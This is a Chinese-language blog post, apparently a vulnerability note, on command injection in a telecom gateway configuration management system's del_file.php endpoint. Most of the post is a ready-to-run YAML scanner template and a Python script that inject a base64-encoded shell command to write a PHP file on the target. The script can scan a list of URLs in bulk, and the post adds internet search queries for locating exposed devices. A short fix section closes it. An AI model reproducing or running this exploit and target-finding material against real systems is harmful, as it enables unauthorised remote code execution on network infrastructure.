电信网关配置管理系统 del_file.php存在命令执行
免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!
POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测.
id: dx-gateway-config-manage-del_file-rce
info:
name: 电信网关配置管理系统 del_file.php存在命令执行
author: xx
severity: critical
description: 电信网关配置管理系统 del_file.php存在命令执行
metadata:
fofa-query: body="a:link{text-decoration:none;color:orange;}"
tags: dx,rce
variables:
filename: '{{rand_base(6)}}'
http:
- raw:
- |+
@timeout: 30s
GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20{{filename}}.php HTTP/1.1
Host: {{Hostname}}
- |+
@timeout: 30s
GET /manager/newtpl/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'status_code_2 == 200'
- 'contains(body_2, "e10adc3949ba59abbe56e057f20f883e")'
condition: and
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning
RED = '\033[91m'
RESET = '\033[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def rand_base(n):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
def check_vulnerability(url):
filename = rand_base(6)
# 第一个请求:注入恶意代码并生成PHP文件
inject_url = url.rstrip('/') + f'/manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20{filename}.php'
try:
response_inject = requests.get(inject_url, verify=False, timeout=30)
# print(f'Inject Response Status Code: {response_inject.status_code}')
# 第二个请求:访问生成的PHP文件
access_url = url.rstrip('/') + f'/manager/newtpl/{filename}.php'
response_access = requests.get(access_url, verify=False, timeout=30)
# print(f'Access Response Status Code: {response_access.status_code}')
# print(f'Access Response Body: {response_access.text}')
if response_inject.status_code == 200 and response_access.status_code == 200 and "e10adc3949ba59abbe56e057f20f883e" in response_access.text:
print(f"{RED}URL [{url}] 存在电信网关配置管理系统 del_file.php 命令执行漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在电信网关配置管理系统 del_file.php 命令执行漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
漏洞介绍
电信网关配置管理系统是一个用于管理和配置电信网关设备的软件系统。它通常包括了对网关设备进行配置、监控、故障排除和性能管理等功能。通过这样的系统,运营商可以更方便地管理和维护他们的网络设备。
其del_file
接口存在命令执行漏洞,导致恶意攻击者可以执行命令上传恶意后门、木马等,从而获取对服务器的远程访问权限或者破坏系统,对服务器造成极大的安全隐患。
资产测绘
「Fofa」
body="a:link{text-decoration:none;color:orange;}"
「Hunter」
web.body="a:link{text-decoration:none;color:orange;}"
「Quake」
body="a:link{text-decoration:none;color:orange;}"
漏洞复现
「1、构造数据包」
GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20404.php HTTP/1.1
Host: ip
「2、查看上传文件」
修复方案
官方已发布安全补丁,建议联系厂商升级更新。
引入Web应用防火墙防护,配置接口拦截策略。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果